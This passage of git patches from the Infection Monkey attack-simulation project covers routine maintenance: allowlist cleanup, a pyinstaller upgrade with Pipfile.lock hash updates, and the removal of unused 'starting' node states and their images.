zLZ^_I0>;8B`c2>X$a{V(N-XllVS4g}jfU&-*k)UUuZ*y-b`dC4i&P$KsPj}1VGcc& zJKuX$XDt0rpO0JX&7?DEZ%k2AL!U##;{$h@mc#?K;m-?y|I|#LtuZRxb7F~sS-qnB zo%6cJtqm#7Ea^k*rq}mh3kN-;IHI+H4*|zo>8}oBHV-y6#;(%yja!Fq8q-zD%$d3Y zpR-+^%9orAbH^WRlattvQ7X0_mKM2-jVA#A)Fw!{y0hQM_mu(Bl#V~ERp`Op6{^ap zfy#=b(3b{;&?8zF4bqsst{dt57OxC(iBU)*vyi=+W%qI>Z#2O^RnQ`rJ+&&F(X`Yb zG4>QZQHS+V-HCk*n9mbNGSPd!;5%KLqe;APvz!B`c#0)MYI3I%foDO_s%tfYp|;v= z(*Vr!mVPO%H*~0;T0mA~H>++%H9rCC&0W5J(+nKbFyw*&hFn9o-*^>L5GL(f=_^AW z8}Lyq=KSumnD}iejFC~7c&${`MfA7j}H{GZEO-a4Q@HL6Dx1W8lt}Htt z=?P3Mx={_V!7Qr_+dj(8>gXt&ggXHdS{52kKJx8f_(#v6^uUY!AAJ+<(w%uA#633f zl-z9lz$fs^C0WzkujO6boOtAuITAZrSY^+Cg}t-_`|6DTZ;kJtUmNL5K}=j5Xzvoe zAe=kmu#l7<_SX@ByJhB;cI$IF^cv<)z=E)nq;~hJwUyECM~I5;%jS`@eFmMeaFxg` zNZh&yPcbch+E37R)=aIxEQ;yp*(?Ktd)I^BE_)EC=wFXbNv6z64_OfAo~-&2Z97;* zNq^iI>mI383z|67&OZS*d`n{~S1LkUVh(n7+<7!A-RV;?{`LBNp&2haDZ&-Gy)~av z0?nkevY8%kA|r`nS!DlYvdlRdaExZ()rpc!7r`auT-oitXuzW`_5!tk$kbqSE*6K# za63(G$ok{#?iOWdV7??^u`lw(Vg){1#`JO$O-3Pj$Bq`vlE_IfLOU&){t*k<5`!Iy zgS#0UwnrE`Gwms5LyD)HDFg?jnJq7pS9B)h&G)2W&1v1x&z*$Rp1arNeQSOz*IRBu zX2=}d*x8yKlG+#-daHfofQPel;8>I~oi6;CTx0wC+Xs{-s4*{26j?w=Jbc#kgfV zk*FhQwoJWZIXf@0vo7k@v=#x#Z7}M_ife)ba-5p9AC>jIa^o3=dD;=bl0ffryCM2LD(3siy|d6W z#;NHR?f0-40yJ>}kuLmTXSeFiERn*S*7YFznDfUYJqLvt7-6}?2`M%sv?srRcG)t; zd{hE}GcQX5b zn!_U-u&=}w6B-1^upEw17YhrW7#%b;1=bH?n@(-q|8k-Q!4kasnAC(=W%4Hd?cP@SH$dYhvScX`%f^{3eNh#XMGw zuKqYygy-w;M%QZnWxUl4f1)(%h7^E#@rL@wox z{yvex5>x#L3w&mt@M(V%r6Q#2FW|>h9UeFjmZVr(Ql3fbWjWm}kFxI*8@%+|t@U-p z^~O-xa5u26vcc@}((uurRP~a%L9CsNY+v?xGXWH{c2L0wO{EeP^yahzF4yDYQZ>1Rl5xXE4i8ls=k%h- zMaO7r-3MTwx}Du!mS?m@Ur~}?mH!9@)PKAv=s#z{`mNqjbb={Ou6Z&Iw_`A@4TphW z{0N0}ad1?DLyg89B5jQZP@cRT=iwsX_KG_Sb??74zo-^`_#bTb{|9348UKy69De^B zaL50_T@Kj)4ZpgaM88n@*E0V-#X6YE0pe&rh&4lqqgDG~`)DWYmfYa(aK6a+p`bnU z^uU{mcUp|^CB4G~k*!DcsWo}}kqL*UTMo2mA8KtI4k~Cn@}=O1V^U;g;`wM*Ct4ac zyBgu<-ZmRrORjZ h{3q$=h>$%_ Date: Tue, 1 Feb 2022 14:09:57 +0530 Subject: [PATCH 0284/1110] Project: Remove deleted constants from Vulture's allowlist --- vulture_allowlist.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 0bb3ff44f..d9ae1d8af 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -48,8 +48,6 @@ MONKEY_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_s MONKEY_WINDOWS_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:28) MONKEY_WINDOWS_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:29) MONKEY_LINUX_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:30) -MONKEY_WINDOWS_OLD # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:31) -MONKEY_LINUX_OLD # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:32) _.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:19) _.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:22) _.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:25) From 28875fd55f1e28d11d460c18d97042c83a277b08 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 1 Feb 2022 11:17:46 +0100 Subject: [PATCH 0285/1110] Agent: Change pyinstaller version to 4.2 Remove altgraph and importlib-metadata since upstream pyinstaller includes them. --- monkey/infection_monkey/Pipfile | 5 +- monkey/infection_monkey/Pipfile.lock | 225 ++++++++------------------- 2 files changed, 69 insertions(+), 161 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 342677316..b92fe8f11 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -5,9 +5,8 @@ name = "pypi" [packages] cryptography = "==2.5" # We can't build 32bit ubuntu12 binary with newer versions of cryptography -pyinstaller = "==3.6" +pyinstaller = "==4.2" impacket = ">=0.9" -importlib-metadata = "==4.0.1" # Required to build docker with our pyinstaller branch ipaddress = ">=1.0.23" netifaces = ">=0.10.9" odict = "==1.7.0" @@ -22,8 +21,6 @@ ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pypsrp = "*" typing-extensions = "*" # Allows us to use 3.9 typing features on 3.7 project -pycryptodome = "*" # Used in common/utils/shellcode_obfuscator.py -altgraph = "*" # Required for pyinstaller branch, without it agents fail to build pysmb = "*" "WinSys-3.x" = "*" ldaptor = "*" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index ce3ba9c21..9a5d6dbc6 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "945e6a45bb4d4e87d66a82b788937b323596e4366daa44f743bca6eaf193045d" + "sha256": "3790c3815ab19935a2879019cf4fe90dcddc1d6e073651249374fb6bb8c14e9e" }, "pipfile-spec": 6, "requires": { @@ -29,7 +29,6 @@ "sha256:743628f2ac6a7c26f5d9223c91ed8ecbba535f506f4b6f558885a8a56a105857", "sha256:ebf2269361b47d97b3b88e696439f6e4cbc607c17c51feb1754f90fb79839158" ], - "index": "pypi", "version": "==0.17.2" }, "asn1crypto": { @@ -48,11 +47,11 @@ }, "asysocks": { "hashes": [ - "sha256:9b33fe5ab6853ed2ac9eb1652f4a8593a78ad5ba258bd10fa4b81801e38729c2", - "sha256:a0a20e583fedb08c962a68dd50764a34424c41bd59a0ae952d8bb368a03eaa45" + "sha256:5ec0582252b0085d9337d13c6b03ab7fd062e487070667f9140e6972bd9db256", + "sha256:b97ac905cd4ca1e7a8e7c295f9cb22ced5dfd3f17e888e71cbf05a1d67a4d393" ], "markers": "python_version >= '3.6'", - "version": "==0.1.2" + "version": "==0.1.6" }, "attrs": { "hashes": [ @@ -87,19 +86,19 @@ }, "boto3": { "hashes": [ - "sha256:49499acf3f1dbb5f09eb93abfeb4025cd76fb7880c16a01a2901dfa335496f0d", - "sha256:d2fce99e42cb7cb263f3ff272bc707aa6a66bc6ab30d90bf0ff6cbdddd867cfa" + "sha256:a2ffce001160d7e7c72a90c3084700d50eb64ea4a3aae8afe21566971d1fd611", + "sha256:d7effba509d7298ef49316ba2da7a2ea115f2a7ff691f875f6354666663cf386" ], "markers": "python_version >= '3.6'", - "version": "==1.20.42" + "version": "==1.20.46" }, "botocore": { "hashes": [ - "sha256:a58f1e559ff2c65495f55ac48217afefb56f2d709d30f7377c40287e8c5765d0", - "sha256:e2e5509934e634a374afa560de4ddc770bb562c7259cb63cd92aa7e54f943bc1" + "sha256:354bce55e5adc8e2fe106acfd455ce448f9b920d7b697d06faa8cf200fd6566b", + "sha256:38dd4564839f531725b667db360ba7df2125ceb3752b0ba12759c3e918015b95" ], "markers": "python_version >= '3.6'", - "version": "==1.23.42" + "version": "==1.23.46" }, "certifi": { "hashes": [ @@ -173,11 +172,11 @@ }, "charset-normalizer": { "hashes": [ - "sha256:876d180e9d7432c5d1dfd4c5d26b72f099d503e8fcc0feb7532c9289be60fcbd", - "sha256:cb957888737fc0bbcd78e3df769addb41fd1ff8cf950dc9e7ad7793f1bf44455" + "sha256:2842d8f5e82a1f6aa437380934d5e1cd4fcf2003b06fed6940769c164a480a45", + "sha256:98398a9d69ee80548c762ba991a4728bfc3836768ed226b3945908d1a688371c" ], "markers": "python_version >= '3'", - "version": "==2.0.10" + "version": "==2.0.11" }, "cheroot": { "hashes": [ @@ -211,14 +210,6 @@ "markers": "python_version >= '3.6'", "version": "==8.0.3" }, - "colorama": { - "hashes": [ - "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", - "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" - ], - "markers": "platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'", - "version": "==0.4.4" - }, "coloredlogs": { "hashes": [ "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", @@ -283,9 +274,9 @@ }, "httpagentparser": { "hashes": [ - "sha256:ef763d31993dd761825acee6c8b34be32b95cf1675d1c73c3cd35f9e52831b26" + "sha256:a190dfdc5e63b2f1c87729424b19cbc49263d6a1fb585a16ac1c9d9ce127a4bf" ], - "version": "==1.9.1" + "version": "==1.9.2" }, "humanfriendly": { "hashes": [ @@ -319,11 +310,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:8c501196e49fb9df5df43833bdb1e4328f64847763ec8a50703148b73784d581", - "sha256:d7eb1dea6d6a6086f8be21784cc9e3bcfa55872b52309bc5fad53a8ea444465d" + "sha256:899e2a40a8c4a1aec681feef45733de8a6c58f3f6a0dbed2eb6574b4387a77b6", + "sha256:951f0d8a5b7260e9db5e41d429285b5f451e928479f19d80818878527d36e95e" ], - "index": "pypi", - "version": "==4.0.1" + "markers": "python_version < '3.8'", + "version": "==4.10.1" }, "importlib-resources": { "hashes": [ @@ -523,11 +514,11 @@ }, "minikerberos": { "hashes": [ - "sha256:30d0fbaf81a4c7d46710c80497ad905c562bd4d125a22850d87794f61ca1b31f", - "sha256:ef64434457cf1c89d8f5d6ae91748775ac8adfa917ddc21d12838d3c43e6e979" + "sha256:eba89d5c649241a3367839ebd1c0333b9a9e4fe514746e246a6a1f2cb7bde26e", + "sha256:f556a6015904147c3302e9038b49f766c975df6aeb1725027cd7fc68ba993864" ], "markers": "python_version >= '3.6'", - "version": "==0.2.14" + "version": "==0.2.16" }, "more-itertools": { "hashes": [ @@ -634,11 +625,11 @@ }, "prompt-toolkit": { "hashes": [ - "sha256:1bb05628c7d87b645974a1bad3f17612be0c29fa39af9f7688030163f680bad6", - "sha256:e56f2ff799bacecd3e88165b1e2f5ebf9bcd59e80e06d395fa0cc4b8bd7bb506" + "sha256:4bcf119be2200c17ed0d518872ef922f1de336eb6d1ddbd1e089ceb6447d97c6", + "sha256:a51d41a6a45fd9def54365bca8f0402c8f182f2b6f7e29c74d55faeb9fb38ac4" ], "markers": "python_full_version >= '3.6.2'", - "version": "==3.0.24" + "version": "==3.0.26" }, "psutil": { "hashes": [ @@ -722,89 +713,55 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==2.21" }, - "pycryptodome": { - "hashes": [ - "sha256:008ef2c631f112cd5a58736e0b29f4a28b4bb853e68878689f8b476fd56e0691", - "sha256:073dedf0f9c490ae22ca081b86357646ac9b76f3e2bd89119d137fc697a9e3b6", - "sha256:0896d5d15ffe584d46cb9b69a75cf14a2bc8f6daf635b7bf16c1b041342a44b1", - "sha256:1fb7a6f222072412f320b9e48d3ce981920efbfce37b06d028ec9bd94093b37f", - "sha256:4f1b594d0cf35bd12ec4244df1155a7f565bf6e6245976ac36174c1564688c90", - "sha256:51ebe9624ad0a0b4da1aaaa2d43aabadf8537737fd494cee0ffa37cd6326de02", - "sha256:681ac47c538c64305d710eaed2bb49532f62b3f4c93aa7c423c520df981392e5", - "sha256:702446a012fd9337b9327d168bb0c7dc714eb93ad361f6f61af9ca8305a301f1", - "sha256:720fafdf3e5c5de93039d8308f765cc60b8e9e7e852ad7135aa65dd89238191f", - "sha256:72de8c4d71e6b11d54528bb924447fa4fdabcbb3d76cc0e7f61d3b6075def6b3", - "sha256:765b8b16bc1fd699e183dde642c7f2653b8f3c9c1a50051139908e9683f97732", - "sha256:7a8b0e526ff239b4f4c61dd6898e2474d609843ffc437267f3a27ddff626e6f6", - "sha256:7b3478a187d897f003b2aa1793bcc59463e8d57a42e2aafbcbbe9cd47ec46863", - "sha256:857c16bffd938254e3a834cd6b2a755ed24e1a953b1a86e33da136d3e4c16a6f", - "sha256:88d6d54e83cf9bbd665ce1e7b9079983ee2d97a05f42e0569ff00a70f1dd8b1e", - "sha256:95bacf9ff7d1b90bba537d3f5f6c834efe6bfbb1a0195cb3573f29e6716ef08d", - "sha256:9c8e0e6c5e982699801b20fa74f43c19aa080d2b53a39f3c132d35958e153bd4", - "sha256:9ea70f6c3f6566159e3798e4593a4a8016994a0080ac29a45200615b45091a1b", - "sha256:b3af53dddf848afb38b3ac2bae7159ddad1feb9bac14aa3acec6ef1797b82f8d", - "sha256:ca6db61335d07220de0b665bfee7b8e9615b2dfc67a54016db4826dac34c2dd2", - "sha256:cb9453c981554984c6f5c5ce7682d7286e65e2173d7416114c3593a977a01bf5", - "sha256:d92a5eddffb0ad39f582f07c1de26e9daf6880e3e782a94bb7ebaf939567f8bf", - "sha256:deede160bdf87ddb71f0a1314ad5a267b1a960be314ea7dc6b7ad86da6da89a3", - "sha256:e3affa03c49cce7b0a9501cc7f608d4f8e61fb2522b276d599ac049b5955576d", - "sha256:e420cdfca73f80fe15f79bb34756959945231a052440813e5fce531e6e96331a", - "sha256:e468724173df02f9d83f3fea830bf0d04aa291b5add22b4a78e01c97aab04873", - "sha256:e5d72be02b17e6bd7919555811264403468d1d052fa67c946e402257c3c29a27", - "sha256:eec02d9199af4b1ccfe1f9c587691a07a1fa39d949d2c1dc69d079ab9af8212f", - "sha256:f5457e44d3f26d9946091e92b28f3e970a56538b96c87b4b155a84e32a40b7b5", - "sha256:f7aad304575d075faf2806977b726b67da7ba294adc97d878f92a062e357a56a" - ], - "index": "pypi", - "version": "==3.13.0" - }, "pycryptodomex": { "hashes": [ - "sha256:00e37d478c0f040639ab41a9d5280291ad2b3b5f25b9aad5baa1d5ecb578a3f6", - "sha256:04a38a7dc484f5e3152a69e4eab89d9340c2ad3b7c4a27d2ee256e5fb878c469", - "sha256:05e0e3b78b7ccc0b7c5f88596d51fdc8533adb91070b93e18cec12ca3b43deb3", - "sha256:0ec86fca2114e8c58fe6bfc7e04ee91568a813139dcf4334819aa44876764bcf", - "sha256:182962b3612c0d12748fa770f1ef0556ba8ba2c442834450e08acb31d9e6d2ed", - "sha256:2f2bcee2ef59597bfcb755eef2c98294094c1c9b64e9b9195cc9e71be83adb92", - "sha256:2f7db8d85294c1123e700097af407425fd4c9e6c58b688f391de7053c6a60317", - "sha256:3b7656189c259bb2b838559f0a11b533d4d18409ab6d9119c00bae436c3d3e34", - "sha256:5a2014598ceb19c34f14815a26536e5cc24167ea4d402f0aec2a52b18960c668", - "sha256:63443230247837dd03c5d4028cae5cb2e6793a9ae110e321798bee48a04ff3e9", - "sha256:68fb861b41a889c2efdf2795b0d46aa05d4748543bc4e0bca5886c929c7cbdef", - "sha256:6b3c06e6d235f475395a7e150f2e562a3e9d749fb40c6d81240596f73809346c", - "sha256:6d50723984ba802904618ef5bfe257a0f9644e76821d323f79f27be5adb9ece7", - "sha256:7fb188c9a0f69d4f7b607780641ef7aec7f02a8dad689512b17bdf04c96ce6e3", - "sha256:7fb9d1ab6a10cfc8c8c7e11f004e01c8a1beff5fd4118370d95110735cc23117", - "sha256:80eedc23c4c4d3655c6a7d315a01f0e9d460c7070c5c3af4952937b4f2c0da6f", - "sha256:9fa76261100b450e5aca2990ba982e5294ba383f653da041a71b4ac1cbaed1ff", - "sha256:b11331510cfd08ec4416f37dc8f072541d7b7240ba924c71288f7218aad36bdf", - "sha256:b4240991748ae0f57a0120b8d905b2d9f835fee02968fc11faec929ef6915ee6", - "sha256:b7b059517d84c57f25c6fd3b2e03a1b2945df2e585b96109bcd11e56f6c9e610", - "sha256:b975ce778ea2c65f399ab889a661e118bb68b85db47d93e0442eb1ba1f554794", - "sha256:c87f62de9e167031ad4179efb1fda4012bb6f7363472a61254e4426bda6bcb64", - "sha256:ccd301d2e71d243b0fad8c4642116c538d7d405d35b6026cf4dcee463a667a2e", - "sha256:dce2bfd0f285c3fcff89e4239c55f5fbe664ff435ee45abfc154aac0f222ab14", - "sha256:dfb8bcd45e504e1c26f0bfc404f3edd08f8c8057dfe04fbf6159adc8694ff97a", - "sha256:e1900d7f16a03b869be3572e7664757c14316329a4d79ecee5a0083fad8c81b0", - "sha256:e2ddfbcb2c4c7cb8f79db49e284280be468699c701b92d30fd1e46a786b39f5b", - "sha256:eb4eea028a7ad28458abf8b98ae14af2fd9baeb327a0adb6af05a488e4d9e9a1", - "sha256:f3a29bb51e5f9b46004b5be16bcbe4e1b2d2754cbe201e1a0b142c307bdf4c73", - "sha256:f553abcb3572242fed87e308a6b91a9bc5a74b801b5d093969391b0500be718b" + "sha256:00eb17ee2b8eb9d84df37d54bc7070ff45903b90535558c2e0ddb5e6957521d3", + "sha256:05b36726ce5521ce0feb25ea11e866261089edd7fad44df4ced9f7f45a9d4c3b", + "sha256:110b319189915a66d14df13d233a2dbb54f00df21f3167de1cad340bf4dd88bd", + "sha256:15e6f5b4a81109eb8e9a02c954fe119f6c57836fd55a9891ba703ddfbd690587", + "sha256:1b07a13ed73d00a97af7c3733b807007d2249cd236a33955a7dec1939c232b28", + "sha256:2040a22a30780da743835c7c71307558688065d6c22e18ac3e44082dc3323d8f", + "sha256:264a701bb6e8aedf4b71bcb9eb83b93020041e96112ccfe873a16964d41ade74", + "sha256:2d8bda8f949b79b78b293706aa7fc1e5c171c62661252bfdd5d12c70acd03282", + "sha256:2e2da1eabb426cbeb4922c981bb843f36427f8365ef7e46bc581a55d7ea67643", + "sha256:3ad75e24a0e25396901273a9a2aaba0286fa74703e5b61731942f6914a1e1cbe", + "sha256:3c06abf17c68cf87c4e81e1745f0afbe4427413684a122a9d044a8a1d3c6d959", + "sha256:3c195eecd43e48d0a06267df6945958f5f566eef160a5b01c519434cfa6d368a", + "sha256:3c9ee5e77dd9cb19fe09765b6c02e3784cdbd2e5ecfbc67c8e9628073f79b981", + "sha256:484ad0f50fd49bec4d2b8c0e5a3ad70e278ed3390bfd5c4515dc896f31b45d6c", + "sha256:4b046c3d50fe4bb57386567ff47a588b1bbe1ddf3d9e2b23aede09fa97511f5f", + "sha256:50684f16b12f1dcca8018d2711fb87044c74038ce9322d36f6ee9d09fcda7e6f", + "sha256:6940b6730bab7128c993b562abf018560aa5b861da92854cf050b5f96d4713df", + "sha256:76fe9ad943480507952cd7c96c20f6c8af78145f944cb66bbba63f2872d9988e", + "sha256:7bcc5d3904abe5cfac5acc67679e330b0402473e839f94b59e13efdc2c2945d5", + "sha256:8310782ac84fa1df93703081af6791549451a380ad88670c2484f75e26c6485f", + "sha256:88eb239d6af71ba2098a4cfea516add37881d55b76b38d9e297f77a65bb9a8cf", + "sha256:9afea78c31f3714b06673d2c5b8874f31c19c03258645733546a320da2e6df23", + "sha256:a11884621c2a5fe241ccf2adf34e4fdde162e91fbc3207f0a0db122ad2b7a061", + "sha256:b0277a201196b7825b21a405e0a70167f277b8d5666031e65c9af7a715cb0833", + "sha256:b5ff95687c4008f76091849e5333692e6a54a93399cd8fda7e1ba523734136f4", + "sha256:c565b89fb91ecb60273b2dcedb5149b48a1ec4227cef8c63fd77ec0f33eaf75a", + "sha256:d689b368ca8b3ec1e60cc609eae14d4e352d10fe807ca9906f77f0712ab05a37", + "sha256:f3bb1e722ad57de1999c8db54b58507b47771de4a294115c00f785f1d5913ec1", + "sha256:fbff384c2080106b3f5f7cfa96728f02e627be7f7cd1657d9cf63300a16d0864", + "sha256:fd2657134b633523db551b96b095387083a459d77e93b9cc888c9f13edb7a6f6" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==3.13.0" + "version": "==3.14.0" }, "pyinstaller": { - "git": "git://github.com/guardicore/pyinstaller", - "ref": "913259a5cd2baece06b0eed3618eb75b1bc7fad6" + "hashes": [ + "sha256:f5c0eeb2aa663cce9a5404292c0195011fa500a6501c873a466b2e8cad3c950c" + ], + "index": "pypi", + "version": "==4.2" }, "pyinstaller-hooks-contrib": { "hashes": [ - "sha256:27558072021857d89524c42136feaa2ffe4f003f1bdf0278f9b24f6902c1759c", - "sha256:892310e6363655838485ee748bf1c5e5cade7963686d9af8650ee218a3e0b031" + "sha256:29f0bd8fbb2ff6f2df60a0c147e5b5ad65ae5c1a982d90641a5f712de03fa161", + "sha256:61b667f51b2525377fae30793f38fd9752a08032c72b209effabf707c840cc38" ], - "index": "pypi", - "version": "==2021.1" + "version": "==2022.0" }, "pymssql": { "hashes": [ @@ -875,11 +832,11 @@ }, "pypsrp": { "hashes": [ - "sha256:c0912096858ff8c53a3cf22cc46c3ce20e6ec5e2deade342088e87a81dbadac8", - "sha256:d7144ad7c798a4dcded20a71c712d63eb4bfb32debe62f3a98f01481384a5558" + "sha256:50d0dce9bf2cb852e3395029e40501ca1f5466ccc5c683c960ce527117676c20", + "sha256:84e8ee098c87858b0a8ba84deec674ebf3f286d3159cf3da9d6a4bfdd06bf3af" ], "index": "pypi", - "version": "==0.7.0" + "version": "==0.8.0" }, "pypykatz": { "hashes": [ @@ -889,15 +846,6 @@ "index": "pypi", "version": "==0.3.12" }, - "pyreadline": { - "hashes": [ - "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1", - "sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e", - "sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b" - ], - "markers": "python_version < '3.8' and sys_platform == 'win32'", - "version": "==2.1" - }, "pysmb": { "hashes": [ "sha256:298605b8f467ce15b412caaf9af331c135e88fa2172333af14b1b2916361cb6b" @@ -938,24 +886,6 @@ ], "version": "==2021.3" }, - "pywin32": { - "hashes": [ - "sha256:2a09632916b6bb231ba49983fe989f2f625cea237219530e81a69239cd0c4559", - "sha256:51cb52c5ec6709f96c3f26e7795b0bf169ee0d8395b2c1d7eb2c029a5008ed51", - "sha256:5f9ec054f5a46a0f4dfd72af2ce1372f3d5a6e4052af20b858aa7df2df7d355b", - "sha256:6fed4af057039f309263fd3285d7b8042d41507343cd5fa781d98fcc5b90e8bb", - "sha256:793bf74fce164bcffd9d57bb13c2c15d56e43c9542a7b9687b4fccf8f8a41aba", - "sha256:79cbb862c11b9af19bcb682891c1b91942ec2ff7de8151e2aea2e175899cda34", - "sha256:7d3271c98434617a11921c5ccf74615794d97b079e22ed7773790822735cc352", - "sha256:aad484d52ec58008ca36bd4ad14a71d7dd0a99db1a4ca71072213f63bf49c7d9", - "sha256:b1675d82bcf6dbc96363fca747bac8bff6f6e4a447a4287ac652aa4b9adc796e", - "sha256:c268040769b48a13367221fced6d4232ed52f044ffafeda247bd9d2c6bdc29ca", - "sha256:d9b5d87ca944eb3aa4cd45516203ead4b37ab06b8b777c54aedc35975dec0dee", - "sha256:fcf44032f5b14fcda86028cdf49b6ebdaea091230eb0a757282aa656e4732439" - ], - "markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'", - "version": "==303" - }, "requests": { "hashes": [ "sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61", @@ -1024,24 +954,6 @@ "markers": "python_full_version >= '3.6.7'", "version": "==21.7.0" }, - "twisted-iocpsupport": { - "hashes": [ - "sha256:306becd6e22ab6e8e4f36b6bdafd9c92e867c98a5ce517b27fdd27760ee7ae41", - "sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d", - "sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9", - "sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf", - "sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323", - "sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32", - "sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4", - "sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f", - "sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546", - "sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878", - "sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565", - "sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415" - ], - "markers": "platform_system == 'Windows'", - "version": "==1.0.2" - }, "typing-extensions": { "hashes": [ "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", @@ -1086,7 +998,7 @@ "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" ], - "markers": "platform_system == 'Windows'", + "markers": "python_version >= '3.6'", "version": "==0.0.9" }, "winsys-3.x": { @@ -1101,7 +1013,6 @@ "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" ], - "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==1.5.1" }, From 79ab06e575315e115cad2598001eb23b8acbf5d0 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 1 Feb 2022 13:02:46 +0200 Subject: [PATCH 0286/1110] Island, UI: remove starting node states Since bootloader is gone, nothing sets the state of the node to "starting" --- .../cc/services/utils/node_states.py | 4 ---- .../nodes/island_manual_linux_starting.png | Bin 5733 -> 0 bytes .../nodes/island_manual_windows_starting.png | Bin 5070 -> 0 bytes .../nodes/island_monkey_linux_starting.png | Bin 5675 -> 0 bytes .../nodes/island_monkey_windows_starting.png | Bin 5014 -> 0 bytes .../src/images/nodes/manual_linux_starting.png | Bin 4186 -> 0 bytes .../src/images/nodes/manual_windows_starting.png | Bin 3289 -> 0 bytes .../src/images/nodes/monkey_linux_starting.png | Bin 2591 -> 0 bytes .../src/images/nodes/monkey_windows_starting.png | Bin 3210 -> 0 bytes 9 files changed, 4 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux_starting.png delete mode 100644 monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows_starting.png delete mode 100644 monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_starting.png delete mode 100644 monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_starting.png delete mode 100644 monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_starting.png delete mode 100644 monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_starting.png delete mode 100644 monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_starting.png delete mode 100644 monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_starting.png diff --git a/monkey/monkey_island/cc/services/utils/node_states.py b/monkey/monkey_island/cc/services/utils/node_states.py index 64baea56b..0d6371111 100644 --- a/monkey/monkey_island/cc/services/utils/node_states.py +++ b/monkey/monkey_island/cc/services/utils/node_states.py @@ -14,10 +14,8 @@ class NodeStates(Enum): ISLAND = "island" ISLAND_MONKEY_LINUX = "island_monkey_linux" ISLAND_MONKEY_LINUX_RUNNING = "island_monkey_linux_running" - ISLAND_MONKEY_LINUX_STARTING = "island_monkey_linux_starting" ISLAND_MONKEY_WINDOWS = "island_monkey_windows" ISLAND_MONKEY_WINDOWS_RUNNING = "island_monkey_windows_running" - ISLAND_MONKEY_WINDOWS_STARTING = "island_monkey_windows_starting" MANUAL_LINUX = "manual_linux" MANUAL_LINUX_RUNNING = "manual_linux_running" MANUAL_WINDOWS = "manual_windows" @@ -26,8 +24,6 @@ class NodeStates(Enum): MONKEY_LINUX_RUNNING = "monkey_linux_running" MONKEY_WINDOWS = "monkey_windows" MONKEY_WINDOWS_RUNNING = "monkey_windows_running" - MONKEY_WINDOWS_STARTING = "monkey_windows_starting" - MONKEY_LINUX_STARTING = "monkey_linux_starting" @staticmethod def get_by_keywords(keywords: List) -> NodeStates: diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux_starting.png 